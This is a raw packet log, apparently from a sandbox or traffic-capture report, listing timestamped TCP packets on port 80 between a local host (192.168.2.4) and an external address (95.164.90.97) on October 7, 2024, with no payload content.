Oct 7, 2024 03:15:48.691230059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691308975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691324949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691355944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691395044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691410065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691435099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691446066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691457033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691481113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691494942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691515923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691541910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691550016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.691555023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.691601992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754153013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754216909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754216909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754276991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754278898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754328012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754334927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754378080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754390955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754426003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754435062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754479885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754486084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754530907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754539967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754576921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754586935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754631996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754647970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754677057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754688025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754734039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754741907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754789114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754796982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754832029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754848957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754868031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754877090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754901886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754909992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754942894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754945040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.754976988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.754987955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755013943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755028963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755050898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755064964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755088091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755114079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755121946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755140066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755156994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755171061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755212069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755214930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755265951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755274057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755310059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755321026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755363941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755367994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755412102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755446911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755481958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755496025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755528927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755536079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755572081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755584955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755625963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755630016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755664110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755676985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755713940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755722046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755774975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755779028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755825043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755831957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755881071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755889893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755948067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.755958080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.755996943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756002903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756055117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756058931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756094933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756102085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756133080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756140947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756181002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756186962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756237984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756242037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756278038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756289959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756328106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756341934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756386995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756392956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756431103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756439924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756478071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756485939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756535053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756541967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756577015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756587982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756627083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756633043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756680965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756689072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756724119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756733894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756759882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756794930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756819963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756829023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756865978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756869078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756901979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756905079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756932974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756939888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.756953001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.756977081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757008076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757033110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757039070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757070065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757081032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757107973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757118940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757148027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757163048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757184982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757194996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757224083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757230043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757261038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757267952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757297039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757320881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757334948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757342100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757370949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757385015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757407904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757420063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757442951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757461071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757479906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757492065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757517099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757530928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757553101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757563114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757589102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757603884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757625103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757642031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757662058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757675886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757698059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757710934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757734060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757746935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757776976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757787943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757813931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757817984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757853031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757867098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757886887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757900000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757930040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757934093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.757966042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.757980108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758002996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758013964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758038044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758052111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758073092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758083105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758107901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758122921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758143902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758157969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758182049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758194923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758219957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758234024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758256912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758392096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758415937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758415937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758426905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758461952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758479118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758487940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758518934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758533955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758534908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758573055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758596897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758609056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758630037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758646011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758651972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758675098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758682013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758719921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.758759022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758759022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.758759975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.825901031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.825941086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.825997114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.826030970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.826033115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.826059103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.826067924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.826107979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.826112032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.826147079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.826160908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.826194048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.849533081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849586010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849620104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849654913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849688053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849725962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849740982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.849760056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849788904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.849797010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.849821091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.849858046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850373983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850440025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850490093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850521088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850568056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850572109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850606918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850620985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850640059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850657940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850675106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850682974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850713015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850719929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850758076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850831032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850861073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850877047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850898027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850915909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.850960970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.850967884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851003885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851012945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851042986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851078987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851114988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851125002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851150036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851159096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851192951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851206064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851250887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851258039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851294041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851300955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851326942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851337910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851362944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851377010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851404905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851437092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851483107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851492882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851535082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851541996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851577044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851588011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851609945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851619005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851648092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851653099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851684093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851691961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851718903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851728916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851754904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851761103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851790905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851799965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851834059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851845026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851888895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851901054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851946115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.851953983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.851995945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852006912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852050066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852060080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852097034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852101088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852127075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852140903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852168083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852176905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852214098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852224112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852256060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852267981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852303028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852312088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852338076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852344990 CEST	49737	80	192.168.2.4	95.164.90.97
